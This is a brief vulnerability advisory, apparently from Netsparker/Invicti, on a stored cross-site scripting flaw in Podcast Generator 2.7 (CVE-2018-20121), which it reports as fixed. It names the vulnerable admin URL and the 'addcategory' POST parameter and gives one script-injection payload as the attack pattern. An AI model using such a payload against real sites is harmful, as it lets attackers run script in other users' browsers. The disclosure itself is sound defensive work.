Stored Cross-site Scripting Vulnerability in Podcast Generator 2.7


Advisory by Netsparker (now Invicti)
Name: Stored Cross-site scripting in Podcast Generator 2.7
Affected Software: Podcast Generator
Affected Versions: 2.7
Vulnerability: Stored Cross-site scripting
Severity: Medium
Status: Fixed
CVE-ID: CVE-2018-20121
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
Invicti Advisory Reference: NS-18-051

Technical Details

URL: http://{DOMAIN}/{PATH-OF-PODCAST}/?p=admin&do=categories&action=add
Parameter Name: addcategory
Parameter Type: POST
Attack Pattern: '"@--></style></scRipt><scRipt>alert(0x002E6C)</scRipt>

For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).

Advisory Timeline

13th November 2018- First Contact
9th January 2019 – Vendor Fixed
25th January 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

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